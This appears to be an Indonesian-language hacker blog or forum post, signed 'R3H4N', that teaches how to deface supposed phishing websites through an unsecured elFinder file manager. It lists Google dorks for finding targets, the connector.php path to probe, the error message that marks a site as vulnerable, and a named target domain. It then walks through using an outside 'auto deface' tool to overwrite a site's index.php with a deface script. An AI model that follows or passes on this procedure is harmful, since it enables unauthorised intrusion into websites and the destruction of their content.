Halo Guys kali ini saya akan bagikan cara deface WEB Phising dengan Elfinder.
Pertama - tama siapkan dorknya yaitu:
Dork:
site: .id.ai
site: .xx.tn
(Kembangkan lagi dorknya)
Exploit:
http://site.com/_file-manager/php/connector.php
OK langsung saja Dorking ke GOOGLE pilih target lalu masukkan exploitnya.
langsung saja saya ke target.
http://hidez.id.ai
lalu masukkan exploitnya di belakang link. ok saya masukkan
http://hidez.id.ai/_file-manager/php/connector.php
maka akan muncul tulisan {"error":["errUnknownCmd"]} berarti web ini vuln bisa deface.
OK langsung saja kita deface webnya dengan cara, karena saya tidak tau CSRFnya elfinder maka saya gunakan saja link ini http://garuda-hacker.cf/index.php?a=elfinder
pilih auto deface.
Kolom pertama masukkan link web yang mau di deface.
Kolom kedua masukkan di mana yang mau di deface contoh: index.php
Kolom ketiga masukkan Script deface anda
lalu klik deface.
Jika Sukses maka akan mucul link di mana yang anda deface.
lalu klik link tersebut maka akan muncul hasil deface anda.
Dan selesai.
Jika anda ingin deface nitip nick saya R3H4N
Salam Sahabat Deface Indonesia
